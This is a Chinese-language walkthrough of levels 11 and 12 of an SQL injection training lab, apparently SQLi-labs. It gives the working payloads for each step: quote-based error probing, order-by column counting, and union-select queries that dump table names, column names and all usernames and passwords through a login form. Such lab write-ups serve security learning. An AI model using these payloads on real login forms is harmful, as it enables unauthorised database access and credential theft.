第十一关
变成了一个登录页面,那么注入点就在输入框里面。前十关使用的是get请求,参数都体现在url上面,而从十一关开始是post请求,参数是在表单里面。我们可以直接在输入框进行注入就行。并且参数不在是一个还是两个。根据前面的认识我们可以猜测sql语句。大概的形式应该是这样username=参数 and password=参数 ,只是不知道是字符型还是整数型。
我们在输入框输入1',直接出现报错信息
根据报错信息,我们输入
1'order by 2 #
判断字段数为2,因为3报错
跟第一关一样,我们直接用爆出数据库名和版本号
1'union select database(),version()#
然后就是表名
1'union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
列名
1'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
爆出全部的用户名和密码
1' union select group_concat(username),group_concat(password) from users #
第十二关
我们输入1和1'都没有反应,当输入1"时,出现报错信息
报错信息告诉我们sql语句由双引号和括号闭合
我们构造永真式看看存不存在sql注入
1") or 1=1 #
1") union select 1,2 #
爆表
1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆列名
1") union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() #
爆出全部用户名和密码
1") union select group_concat(username),group_concat(password) from users#